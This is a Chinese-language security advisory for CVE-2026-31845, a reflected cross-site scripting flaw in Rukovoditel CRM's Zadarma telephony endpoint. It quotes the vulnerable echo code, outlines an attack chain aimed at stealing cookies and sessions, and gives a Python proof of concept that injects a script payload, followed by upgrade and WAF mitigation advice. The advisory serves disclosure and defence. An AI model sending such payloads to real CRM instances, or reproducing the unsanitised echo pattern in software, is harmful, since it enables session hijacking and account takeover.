IPBUF安全漏洞报告
English
CVE-2026-31845 CVSS 9.3 严重

CVE-2026-31845 Rukovoditel CRM反射型XSS漏洞

披露日期: 2026-04-11
来源: 309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c

漏洞信息

漏洞编号
CVE-2026-31845
漏洞类型
反射型跨站脚本攻击 (XSS)
CVSS评分
9.3 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Rukovoditel CRM

相关标签

XSSRukovoditel CRM反射型跨站脚本CVE-2026-31845Web安全

漏洞概述

Rukovoditel CRM版本3.6.4及更早版本中的Zadarma电话API端点存在反射型跨站脚本(XSS)漏洞。该漏洞源于应用程序直接将用户通过'zd_echo' GET参数提交的输入反射到HTTP响应中,且未进行适当的清理、输出编码或内容类型限制。未经身份验证的攻击者可利用此漏洞,通过诱导受害者点击包含恶意JavaScript负载的特制链接,在受害者的浏览器上下文中执行任意脚本代码。这可能导致会话劫持、凭证窃取、网络钓鱼或账户接管等严重后果。该问题在版本3.7中已得到修复。

技术细节

该漏洞位于Rukovoditel CRM的`/api/tel/zadarma.php`文件中,核心问题在于缺乏对用户输入的安全过滤。具体而言,应用程序使用了一段不安全的代码:`if (isset($_GET['zd_echo'])) exit($_GET['zd_echo']);`。这段代码直接检查GET请求中是否存在'zd_echo'参数,如果存在,则直接将其值作为响应内容输出并终止脚本。由于没有设置严格的Content-Type(如text/plain)或使用HTML实体编码函数(如htmlspecialchars)处理输出,攻击者可以将任意JavaScript代码注入到该参数中。当受害者访问被构造的恶意URL时,服务器会原样反射攻击者提供的脚本。由于攻击发生在受害者的浏览器环境中,且该脚本在应用程序的上下文中运行,因此它可以访问该域下的Cookie、会话令牌或修改DOM结构。由于不需要身份验证即可触发此漏洞,结合社会工程学手段,攻击者可以高效地针对特定用户发起攻击,窃取敏感凭据以控制受害账户。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行着Rukovoditel CRM,且版本低于3.7。
STEP 2
武器化
攻击者构造包含恶意JavaScript代码的URL,利用'zd_echo'参数传递载荷。
STEP 3
交付
攻击者通过电子邮件或即时通讯工具,诱导受害者点击该特制的恶意链接。
STEP 4
利用
受害者访问链接,服务器端脚本直接将'zd_echo'参数的内容反射回浏览器。
STEP 5
执行
受害者的浏览器解析响应,执行注入的JavaScript脚本,窃取Session或Cookie。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests target_url = "http://target-host/api/tel/zadarma.php" # Malicious JavaScript payload xss_payload = "<script>alert(document.cookie);</script>" print(f"[*] Testing target: {target_url}") # Craft the exploit URL params = {'zd_echo': xss_payload} try: response = requests.get(target_url, params=params, timeout=5) # Check if the payload is reflected un-sanitized if xss_payload in response.text: print("[+] Vulnerability confirmed! The payload was reflected in the response.") print(f"[+] Response Body: {response.text}") else: print("[-] Vulnerability not detected or payload was sanitized.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

影响范围

Rukovoditel CRM <= 3.6.4

防御指南

临时缓解措施
建议立即升级至Rukovoditel CRM 3.7版本以彻底修复该漏洞。若暂时无法升级,应在网络边界部署WAF规则,拦截针对`/api/tel/zadarma.php`端点的包含HTML标签或JavaScript关键字的请求,或者限制该API接口仅允许受信任的IP地址访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表